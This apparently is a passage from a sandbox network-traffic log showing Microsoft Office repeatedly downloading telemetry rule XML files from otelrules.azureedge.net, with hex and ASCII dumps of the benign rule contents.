62	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: c9d02f83-e01e-0033-4d75-3b4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020854Z-1777c6cb754j47wfhC1TEB5wrw00000006bg000000003uvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:54 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020854Z-1777c6cb7549x5qchC1TEBggbg0000000acg00000000uyru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:54 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:54 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020854Z-1777c6cb754mqztshC1TEB4mkc0000000acg00000000rmmv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:54 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:54 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 89429c71-e01e-0003-137d-3b0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020854Z-1777c6cb754xlpjshC1TEBv8cc0000000aeg00000000yqgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:54 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:54 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020854Z-178bfbc474b9xljthC1NYCtw9400000000sg00000000aww0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020856Z-1777c6cb754vxwc9hC1TEBykgw0000000aa000000000x1mn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:56 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020856Z-178bfbc474bh5zbqhC1NYCkdug00000000rg00000000kpsf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:56 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 02a30eba-b01e-0001-5b7b-3b46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020856Z-178bfbc474bv7whqhC1NYC1fg400000000v000000000cv65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020856Z-178bfbc474bbcwv4hC1NYCypys00000000r000000000adtf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:56 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:56 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 302889d7-401e-0047-2e63-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020856Z-178bfbc474bscnbchC1NYCe7eg0000000120000000002s46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 02:08:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:58 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:58 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:58 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 56910179-f01e-0096-44a0-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020858Z-r1d97b99577brct2hC1TEBambg00000003b000000000m4ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 02:08:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 02:08:58 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:08:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T020858Z-178bfbc474bkvpdnhC1NYCuu2w00000000ug00000000vexg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 02:08:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 